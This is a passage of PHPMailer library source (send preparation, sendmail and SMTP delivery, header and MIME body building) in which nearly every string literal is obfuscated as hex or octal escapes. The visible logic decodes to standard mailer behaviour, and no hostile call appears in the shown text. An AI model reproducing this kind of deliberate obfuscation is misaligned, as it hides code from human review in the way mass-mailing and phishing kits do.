call_user_func_array(array($this, "\x61\x64\x64\101\x6e\101\x64\144\162\145\163\x73"), $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new phpmailerException($this->lang("\x70\162\x6f\166\151\x64\x65\x5f\x61\144\144\162\145\163\x73"), self::STOP_CRITICAL); } foreach (array("\x46\x72\x6f\x6d", "\123\145\156\144\x65\x72", "\103\x6f\156\x66\x69\162\x6d\x52\x65\141\144\151\156\x67\x54\x6f") as $address_kind) { $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!$this->validateAddress($this->{$address_kind})) { $error_message = $this->lang("\x69\x6e\x76\x61\x6c\151\144\x5f\141\144\x64\x72\145\163\x73") . "\x20\50\x70\x75\156\x79\105\156\x63\x6f\x64\x65\x29\x20" . $this->{$address_kind}; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } } if ($this->alternativeExists()) { $this->ContentType = "\155\x75\154\x74\x69\x70\x61\x72\x74\57\x61\154\x74\x65\x72\156\x61\164\x69\166\145"; } $this->setMessageType(); if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->lang("\x65\x6d\x70\x74\x79\x5f\x6d\x65\163\163\x61\x67\145"), self::STOP_CRITICAL); } $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; if ($this->Mailer == "\x6d\141\151\x6c") { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend("\124\157", $this->to); } else { $this->mailHeader .= $this->headerLine("\x54\157", "\x75\156\x64\x69\163\x63\x6c\157\x73\x65\144\55\162\145\143\x69\160\151\145\156\164\163\72\x3b"); } $this->mailHeader .= $this->headerLine("\x53\165\142\x6a\x65\x63\164", $this->encodeHeader($this->secureHeader(trim($this->Subject)))); } if (!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and self::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private))) { $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); $this->MIMEHeader = rtrim($this->MIMEHeader, "\15\xa\40") . self::CRLF . str_replace("\15\12", "\xa", $header_dkim) . self::CRLF; } return true; } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function postSend() { try { switch ($this->Mailer) { case "\x73\x65\x6e\x64\155\141\151\154": case "\x71\155\x61\x69\154": return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case "\x73\x6d\164\160": return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case "\155\141\151\x6c": return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . "\123\x65\x6e\x64"; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } } return false; } protected function sendmailSend($header, $body) { if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { if ($this->Mailer == "\161\x6d\141\151\154") { $sendmailFmt = "\45\163\x20\x2d\x66\45\x73"; } else { $sendmailFmt = "\45\x73\x20\x2d\157\x69\x20\x2d\146\45\x73\40\55\164"; } } else { if ($this->Mailer == "\x71\x6d\x61\151\x6c") { $sendmailFmt = "\45\x73"; } else { $sendmailFmt = "\x25\x73\40\55\x6f\x69\x20\x2d\x74"; } } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { if (!@($mail = popen($sendmail, "\x77"))) { throw new phpmailerException($this->lang("\x65\170\145\x63\165\x74\145") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, "\124\x6f\72\x20" . $toAddr . "\12"); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("\x65\x78\x65\143\x75\x74\x65") . $this->Sendmail, self::STOP_CRITICAL); } } } else { if (!@($mail = popen($sendmail, "\x77"))) { throw new phpmailerException($this->lang("\x65\x78\x65\x63\165\x74\145") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("\x65\170\145\x63\165\x74\145") . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected static function isShellSafe($string) { if (escapeshellcmd($string) !== $string or !in_array(escapeshellarg($string), array("\47{$string}\47", "\42{$string}\x22"))) { return false; } $length = strlen($string); for ($i = 0; $i < $length; $i++) { $c = $string[$i]; if (!ctype_alnum($c) && strpos("\100\137\55\x2e", $c) === false) { return false; } } return true; } protected static function isPermittedPath($path) { return !preg_match("\43\136\x5b\x61\55\x7a\135\53\72\x2f\x2f\43\x69", $path); } protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode("\54\x20", $toArr); $params = null; if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf("\55\x66\45\x73", $this->Sender); } } if (!empty($this->Sender) and !ini_get("\163\141\x66\x65\x5f\155\x6f\144\x65") and $this->validateAddress($this->Sender)) { $old_from = ini_get("\x73\x65\x6e\144\155\141\151\x6c\x5f\x66\162\x6f\x6d"); ini_set("\163\145\x6e\x64\x6d\x61\151\154\x5f\x66\x72\x6f\x6d", $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); } if (isset($old_from)) { ini_set("\x73\x65\x6e\x64\155\x61\x69\154\137\146\162\157\155", $old_from); } if (!$result) { throw new phpmailerException($this->lang("\x69\156\x73\x74\x61\156\x74\x69\141\164\x65"), self::STOP_CRITICAL); } return true; } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } protected function smtpSend($header, $body) { $bad_rcpt = array(); if (!$this->smtpConnect($this->SMTPOptions)) { throw new phpmailerException($this->lang("\x73\x6d\164\160\x5f\x63\x6f\x6e\156\145\x63\x74\137\x66\141\x69\x6c\x65\x64"), self::STOP_CRITICAL); } if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { $smtp_from = $this->Sender; } else { $smtp_from = $this->From; } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang("\146\162\157\x6d\x5f\x66\141\151\154\145\x64") . $smtp_from . "\x20\x3a\40" . implode("\54", $this->smtp->getError())); throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); } foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0])) { $error = $this->smtp->getError(); $bad_rcpt[] = array("\164\x6f" => $to[0], "\x65\162\162\x6f\162" => $error["\144\145\x74\141\x69\154"]); $isSent = false; } else { $isSent = true; } $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); } } if (count($this->all_recipients) > count($bad_rcpt) and !$this->smtp->data($header . $body)) { throw new phpmailerException($this->lang("\144\141\x74\x61\137\156\x6f\x74\x5f\141\143\143\x65\160\164\x65\x64"), self::STOP_CRITICAL); } if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad["\164\x6f"] . "\72\x20" . $bad["\x65\162\x72\x6f\162"]; } throw new phpmailerException($this->lang("\162\145\143\151\160\x69\145\x6e\x74\x73\137\146\x61\151\154\x65\144") . $errstr, self::STOP_CONTINUE); } return true; } public function smtpConnect($options = null) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance(); } if (is_null($options)) { $options = $this->SMTPOptions; } if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $hosts = explode("\x3b", $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); if (!preg_match("\57\136\50\50\x73\x73\154\174\x74\x6c\163\51\x3a\134\57\134\x2f\x29\x2a\x28\133\x61\x2d\172\x41\55\132\60\x2d\71\x5c\x2e\55\135\52\x7c\x5c\133\133\x61\55\146\x41\55\106\60\55\x39\x3a\x5d\x2b\134\135\51\72\77\50\133\60\x2d\71\135\x2a\51\x24\x2f", trim($hostentry), $hostinfo)) { $this->edebug("\x49\x67\x6e\157\x72\x69\156\147\x20\x69\156\x76\141\154\x69\144\40\150\x6f\163\x74\x3a\40" . $hostentry); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = $this->SMTPSecure == "\x74\x6c\x73"; if ("\x73\163\x6c" == $hostinfo[2] or '' == $hostinfo[2] and "\x73\x73\x6c" == $this->SMTPSecure) { $prefix = "\x73\x73\x6c\x3a\57\x2f"; $tls = false; $secure = "\163\163\x6c"; } elseif ($hostinfo[2] == "\164\154\x73") { $tls = true; $secure = "\x74\154\163"; } $sslext = defined("\117\x50\x45\116\123\x53\x4c\137\x41\x4c\107\x4f\x5f\123\110\101\61"); if ("\164\x6c\x73" === $secure or "\163\x73\154" === $secure) { if (!$sslext) { throw new phpmailerException($this->lang("\x65\170\164\145\x6e\x73\x69\x6f\156\137\x6d\151\163\163\151\156\147") . "\x6f\160\145\156\x73\x73\154", self::STOP_CRITICAL); } } $host = $hostinfo[3]; $port = $this->Port; $tport = (int) $hostinfo[4]; if ($tport > 0 and $tport < 65536) { $port = $tport; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); if ($this->SMTPAutoTLS and $sslext and $secure != "\x73\x73\154" and $this->smtp->getServerExt("\x53\x54\101\122\124\x54\x4c\x53")) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang("\143\157\x6e\156\x65\143\x74\137\150\x6f\x73\x74")); } $this->smtp->hello($hello); } if ($this->SMTPAuth) { if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) { throw new phpmailerException($this->lang("\x61\x75\164\x68\x65\x6e\164\x69\x63\x61\164\145")); } } return true; } catch (phpmailerException $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); $this->smtp->quit(); } } } $this->smtp->close(); if ($this->exceptions and !is_null($lastexception)) { throw $lastexception; } return false; } public function smtpClose() { if (is_a($this->smtp, "\x53\x4d\124\x50")) { if ($this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } } public function setLanguage($langcode = "\x65\156", $lang_path = '') { $renamed_langcodes = array("\x62\162" => "\x70\164\137\x62\x72", "\x63\x7a" => "\143\163", "\144\x6b" => "\144\x61", "\x6e\x6f" => "\156\142", "\x73\x65" => "\x73\x76", "\x73\162" => "\x72\x73"); if (isset($renamed_langcodes[$langcode])) { $langcode = $renamed_langcodes[$langcode]; } $PHPMAILER_LANG = array("\141\165\x74\150\x65\156\164\x69\143\x61\x74\145" => "\123\x4d\124\120\x20\x45\162\x72\x6f\x72\x3a\x20\x43\157\165\x6c\x64\40\x6e\157\x74\40\141\x75\x74\x68\145\156\x74\x69\143\141\x74\x65\x2e", "\x63\157\156\x6e\145\143\x74\x5f\x68\157\x73\164" => "\x53\x4d\x54\x50\40\x45\x72\162\x6f\x72\72\x20\103\x6f\x75\154\x64\x20\156\x6f\164\40\143\x6f\156\x6e\145\143\164\40\164\157\x20\x53\x4d\x54\120\x20\150\157\x73\164\x2e", "\144\x61\164\x61\x5f\156\157\164\137\x61\143\143\x65\160\x74\x65\x64" => "\x53\115\x54\120\40\105\162\x72\157\162\x3a\40\x64\141\164\141\40\x6e\157\164\40\x61\x63\143\145\160\164\145\144\x2e", "\x65\155\160\x74\x79\x5f\155\145\x73\x73\x61\x67\x65" => "\x4d\x65\x73\163\x61\x67\145\x20\x62\157\x64\x79\40\145\155\160\x74\x79", "\x65\156\x63\157\144\x69\x6e\x67" => "\125\x6e\153\x6e\x6f\167\156\x20\145\156\143\x6f\x64\x69\x6e\147\x3a\40", "\x65\x78\x65\143\165\x74\145" => "\103\157\165\x6c\x64\40\156\157\164\x20\145\170\145\x63\x75\x74\x65\72\40", "\146\x69\154\145\137\x61\143\143\145\x73\x73" => "\x43\x6f\x75\x6c\144\40\x6e\x6f\164\40\x61\x63\143\145\163\163\40\146\x69\154\x65\72\40", "\146\x69\154\145\137\x6f\x70\145\x6e" => "\x46\x69\x6c\145\x20\x45\162\x72\x6f\162\x3a\40\103\157\165\x6c\144\x20\x6e\157\164\x20\157\160\145\156\40\x66\x69\x6c\145\x3a\40", "\146\162\157\155\x5f\146\x61\x69\154\145\144" => "\124\x68\145\40\146\x6f\x6c\x6c\x6f\x77\151\x6e\x67\x20\x46\162\157\x6d\40\x61\x64\x64\162\x65\163\163\40\146\141\x69\x6c\145\144\72\x20", "\151\156\163\164\x61\x6e\x74\x69\x61\164\145" => "\103\x6f\165\x6c\x64\40\x6e\x6f\164\x20\151\156\x73\x74\141\156\164\151\x61\x74\145\40\155\141\151\154\x20\146\x75\156\x63\164\151\157\x6e\56", "\151\156\166\141\x6c\151\144\137\x61\144\144\x72\x65\x73\x73" => "\x49\156\x76\141\x6c\x69\x64\x20\x61\144\x64\162\145\x73\x73\x3a\40", "\x6d\x61\x69\x6c\145\x72\x5f\156\157\x74\137\x73\165\x70\x70\157\162\164\x65\x64" => "\x20\x6d\x61\x69\154\145\x72\40\151\163\x20\156\x6f\164\40\163\165\x70\x70\x6f\162\164\145\x64\56", "\x70\162\157\166\151\144\x65\x5f\x61\x64\144\162\x65\x73\x73" => "\x59\x6f\x75\40\x6d\165\x73\x74\40\x70\162\x6f\166\151\x64\x65\x20\x61\164\40\154\145\x61\x73\164\x20\157\x6e\x65\40\x72\145\x63\x69\x70\x69\x65\x6e\x74\40\145\x6d\141\x69\x6c\40\141\144\144\x72\145\163\163\56", "\x72\145\x63\x69\160\x69\145\x6e\164\x73\x5f\x66\141\151\154\x65\144" => "\x53\x4d\x54\120\40\105\162\x72\x6f\x72\x3a\40\x54\150\145\x20\146\157\154\x6c\x6f\x77\x69\x6e\x67\40\162\145\x63\x69\160\x69\x65\156\164\x73\x20\x66\141\x69\154\145\x64\72\40", "\163\151\x67\x6e\x69\156\x67" => "\x53\x69\147\156\x69\156\x67\x20\105\162\162\x6f\x72\72\x20", "\163\155\x74\160\x5f\x63\157\156\x6e\x65\x63\x74\x5f\x66\141\151\x6c\x65\144" => "\x53\115\124\120\x20\x63\157\x6e\156\x65\x63\164\50\51\x20\146\141\151\154\145\144\56", "\x73\x6d\x74\160\137\145\x72\x72\157\x72" => "\x53\115\124\120\x20\x73\x65\162\x76\145\x72\x20\x65\x72\x72\x6f\x72\72\x20", "\166\141\162\151\x61\x62\x6c\x65\x5f\163\x65\164" => "\x43\141\x6e\x6e\x6f\164\x20\163\145\x74\x20\157\162\40\162\145\163\x65\x74\40\166\x61\x72\151\x61\142\154\x65\72\40", "\145\x78\164\145\156\x73\x69\x6f\x6e\x5f\155\x69\x73\163\151\156\147" => "\105\170\x74\x65\x6e\x73\x69\157\x6e\40\x6d\x69\x73\163\x69\156\147\x3a\40"); if (empty($lang_path)) { $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . "\154\141\x6e\147\x75\141\x67\145" . DIRECTORY_SEPARATOR; } if (!preg_match("\x2f\136\133\x61\x2d\x7a\x5d\173\62\x7d\x28\x3f\x3a\x5f\133\x61\x2d\x7a\x41\x2d\132\135\x7b\x32\175\x29\77\44\x2f", $langcode)) { $langcode = "\x65\156"; } $foundlang = true; $lang_file = $lang_path . "\160\x68\160\x6d\x61\151\154\145\x72\56\154\141\156\x67\55" . $langcode . "\x2e\160\150\160"; if ($langcode != "\145\156") { if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) { $foundlang = false; } else { $foundlang = (include $lang_file); } } $this->language = $PHPMAILER_LANG; return (bool) $foundlang; } public function getTranslations() { return $this->language; } public function addrAppend($type, $addr) { $addresses = array(); foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . "\x3a\40" . implode("\x2c\40", $addresses) . $this->LE; } public function addrFormat($addr) { if (empty($addr[1])) { return $this->secureHeader($addr[0]); } else { return $this->encodeHeader($this->secureHeader($addr[1]), "\160\x68\x72\141\x73\145") . "\40\x3c" . $this->secureHeader($addr[0]) . "\76"; } } public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf("\40\x3d\45\x73", $this->LE); } else { $soft_break = $this->LE; } $is_utf8 = strtolower($this->CharSet) == "\165\164\x66\x2d\x38"; $lelen = strlen($this->LE); $crlflen = strlen(self::CRLF); $message = $this->fixEOL($message); if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen); } $lines = explode($this->LE, $message); $message = ''; foreach ($lines as $line) { $words = explode("\x20", $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode and strlen($word) > $length) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "\x3d") { $len--; } elseif (substr($word, $len - 2, 1) == "\75") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= "\x20" . $part; $message .= $buf . sprintf("\75\x25\x73", self::CRLF); } else { $message .= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "\75") { $len--; } elseif (substr($word, $len - 2, 1) == "\x3d") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message .= $part . sprintf("\x3d\x25\x73", self::CRLF); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= "\40"; } $buf .= $word; if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . self::CRLF; } return $message; } public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, "\x3d"); if (false !== $encodedCharPos) { $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { if ($encodedCharPos > 0) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); } $foundSplitPos = true; } elseif ($dec >= 192) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { $lookBack += 3; } } else { $foundSplitPos = true; } } return $maxLength; } public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case "\141\154\x74": case "\141\154\164\137\151\156\x6c\x69\x6e\x65": case "\141\x6c\x74\x5f\141\x74\164\141\143\150": case "\141\x6c\x74\x5f\151\156\x6c\151\156\x65\x5f\141\x74\x74\141\x63\x68": $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } public function createHeader() { $result = ''; $result .= $this->headerLine("\104\141\164\145", $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate); if ($this->SingleTo) { if ($this->Mailer != "\155\x61\151\x6c") { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } } else { if (count($this->to) > 0) { if ($this->Mailer != "\155\x61\x69\x6c") { $result .= $this->addrAppend("\124\157", $this->to); } } elseif (count($this->cc) == 0) { $result .= $this->headerLine("\124\x6f", "\x75\x6e\144\151\163\x63\154\x6f\163\x65\144\55\162\145\x63\x69\160\151\x65\156\164\163\x3a\x3b"); } } $result .= $this->addrAppend("\x46\162\157\155", array(array(trim($this->From), $this->FromName))); if (count($this->cc) > 0) { $result .= $this->addrAppend("\103\x63", $this->cc); } if (($this->Mailer == "\163\145\x6e\144\x6d\141\151\154" or $this->Mailer == "\x71\x6d\x61\x69\x6c" or $this->Mailer == "\155\141\151\x6c") and count($this->bcc) > 0) { $result .= $this->addrAppend("\102\x63\143", $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend("\x52\x65\160\x6c\x79\55\124\157", $this->ReplyTo); } if ($this->Mailer != "\x6d\141\x69\x6c") { $result .= $this->headerLine("\x53\165\142\152\x65\143\x74", $this->encodeHeader($this->secureHeader($this->Subject))); } if ('' != $this->MessageID and preg_match("\57\x5e\x3c\x2e\x2a\x40\56\52\x3e\x24\57", $this->MessageID)) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf("\74\45\163\100\x25\163\76", $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine("\x4d\x65\163\x73\x61\x67\145\55\111\x44", $this->lastMessageID); if (!is_null($this->Priority)) { $result .= $this->headerLine("\x58\55\120\162\151\157\162\x69\x74\171", $this->Priority); } if ($this->XMailer == '') { $result .= $this->headerLine("\130\55\115\141\151\154\x65\162", "\120\110\x50\115\x61\151\x6c\145\x72\x20" . $this->Version . "\40\50\150\164\164\160\163\72\57\57\x67\x69\164\150\165\x62\56\x63\x6f\x6d\57\120\x48\x50\x4d\x61\x69\154\145\162\x2f\x50\110\120\115\x61\151\154\145\x72\51"); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result .= $this->headerLine("\130\x2d\115\141\x69\154\x65\x72", $myXmailer); } } if ($this->ConfirmReadingTo != '') { $result .= $this->headerLine("\104\x69\163\160\157\163\x69\164\151\x6f\156\x2d\x4e\157\x74\151\x66\x69\143\x61\x74\151\157\x6e\x2d\124\157", "\74" . $this->ConfirmReadingTo . "\76"); } foreach ($this->CustomHeader as $header) { $result .= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1]))); } if (!$this->sign_key_file) { $result .= $this->headerLine("\x4d\x49\x4d\105\x2d\x56\x65\x72\x73\151\x6f\156", "\x31\56\x30"); $result .= $this->getMailMIME(); } return $result; } public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case "\151\x6e\x6c\151\156\145": $result .= $this->headerLine("\x43\157\156\164\x65\156\164\55\x54\x79\160\145", "\155\165\x6c\164\151\160\141\162\x74\57\x72\145\x6c\141\164\145\144\x3b"); $result .= $this->textLine("\11\x62\x6f\165\x6e\x64\x61\162\171\75\x22" . $this->boundary[1] . "\x22"); break; case "\141\x74\x74\x61\143\150": case "\151\156\x6c\x69\x6e\145\137\141\x74\x74\141\143\x68": case "\141\x6c\x74\x5f\x61\164\x74\141\143\150": case "\x61\154\x74\137\x69\156\154\x69\x6e\145\x5f\x61\164\x74\141\x63\150": $result .= $this->headerLine("\x43\157\x6e\164\x65\x6e\164\x2d\124\171\x70\145", "\155\x75\154\164\151\160\x61\x72\164\57\x6d\151\x78\x65\x64\73"); $result .= $this->textLine("\x9\142\157\165\x6e\144\141\162\x79\75\x22" . $this->boundary[1] . "\42"); break; case "\x61\x6c\164": case "\x61\154\x74\x5f\x69\x6e\x6c\x69\x6e\145": $result .= $this->headerLine("\103\157\x6e\x74\x65\x6e\x74\x2d\124\x79\160\x65", "\x6d\x75\x6c\x74\151\x70\x61\x72\164\x2f\141\154\x74\x65\x72\x6e\x61\164\x69\x76\x65\73"); $result .= $this->textLine("\x9\142\157\x75\156\144\141\162\x79\75\x22" . $this->boundary[1] . "\42"); break; default: $result .= $this->textLine("\103\157\x6e\164\x65\156\x74\x2d\124\171\160\145\72\x20" . $this->ContentType . "\73\40\143\x68\x61\162\x73\145\164\x3d" . $this->CharSet); $ismultipart = false; break; } if ($this->Encoding != "\67\x62\151\164") { if ($ismultipart) { if ($this->Encoding == "\70\x62\x69\164") { $result .= $this->headerLine("\x43\157\x6e\164\x65\x6e\x74\55\x54\x72\141\156\163\146\145\x72\x2d\x45\156\143\157\x64\x69\x6e\147", "\x38\x62\x69\164"); } } else { $result .= $this->headerLine("\103\157\156\164\145\x6e\x74\x2d\x54\x72\141\156\163\x66\x65\162\55\105\x6e\143\157\x64\x69\156\x67", $this->Encoding); } } if ($this->Mailer != "\x6d\x61\x69\x6c") { $result .= $this->LE; } return $result; } public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, "\12\xd") . self::CRLF . self::CRLF . $this->MIMEBody; } protected function generateId() { return md5(uniqid(time())); } public function createBody() { $body = ''; $this->uniqueid = $this->generateId(); $this->boundary[1] = "\x62\x31\137" . $this->uniqueid; $this->boundary[2] = "\142\62\x5f" . $this->uniqueid; $this->boundary[3] = "\x62\x33\x5f" . $this->uniqueid; if ($this->sign_key_file) { $body .= $this->getMailMIME() . $this->LE; } $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; if ($bodyEncoding == "\x38\x62\x69\x74" and !$this->has8bitChars($this->Body)) { $bodyEncoding = "\67\x62\x69\x74"; $bodyCharSet = "\165\x73\x2d\x61\163\143\151\151"; } if ("\x62\141\163\145\x36\x34" != $this->Encoding and self::hasLineLongerThanMax($this->Body)) { $bodyEncoding = "\x71\165\x6f\164\x65\x64\x2d\160\162\x69\x6e\164\x61\x62\x6c\x65"; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; if ($altBodyEncoding == "\x38\142\x69\x74" and !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = "\x37\x62\x69\164"; $altBodyCharSet = "\165\163\x2d\x61\163\x63\151\151"; } if ("\142\141\x73\145\66\64" != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = "\161\165\x6f\x74\x65\x64\x2d\x70\162\151\x6e\164\141\x62\x6c\x65"; } $mimepre = "\x54\150\x69\x73\x20\x69\163\40\x61\x20\155\x75\x6c\x74\x69\x2d\160\x61\x72\x74\40\x6d\145\163\x73\x61\147\145\40\151\156\40\115\x49\x4d\x45\40\x66\x6f\x72\155\141\x74\x2e" . $this->LE . $this->LE; switch ($this->message_type) { case "\151\x6e\154\x69\156\145": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\x69\156\154\x69\156\145", $this->boundary[1]); break; case "\141\164\x74\x61\143\x68": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\x61\x74\x74\x61\x63\x68\x6d\145\156\x74", $this->boundary[1]); break; case "\x69\x6e\x6c\x69\156\x65\137\141\164\164\141\143\x68": $body .= $mimepre; $body .= $this->textLine("\55\x2d" . $this->boundary[1]); $body .= $this->headerLine("\103\157\156\164\x65\x6e\x74\x2d\124\x79\x70\145", "\x6d\165\154\x74\x69\160\141\x72\x74\x2f\162\145\154\x61\164\x65\x64\x3b"); $body .= $this->textLine("\11\142\x6f\x75\x6e\x64\141\162\171\75\42" . $this->boundary[2] . "\42"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\x69\156\154\x69\x6e\x65", $this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("\x61\x74\164\141\x63\x68\x6d\145\156\x74", $this->boundary[1]); break; case "\141\x6c\164": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "\x74\x65\x78\x74\57\160\154\x61\x69\x6e", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, "\164\145\x78\x74\x2f\150\x74\155\154", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; if (!empty($this->Ical)) { $body .= $this->getBoundary($this->boundary[1], '', "\x74\x65\x78\164\57\143\141\154\x65\156\x64\x61\162\x3b\x20\x6d\x65\164\150\x6f\x64\x3d\122\105\121\125\105\123\124", ''); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= $this->LE . $this->LE; } $body .= $this->endBoundary($this->boundary[1]); break; case "\141\154\x74\137\151\156\x6c\x69\x6e\145": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "\x74\x65\x78\164\57\x70\x6c\141\151\x6e", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("\x2d\55" . $this->boundary[1]); $body .= 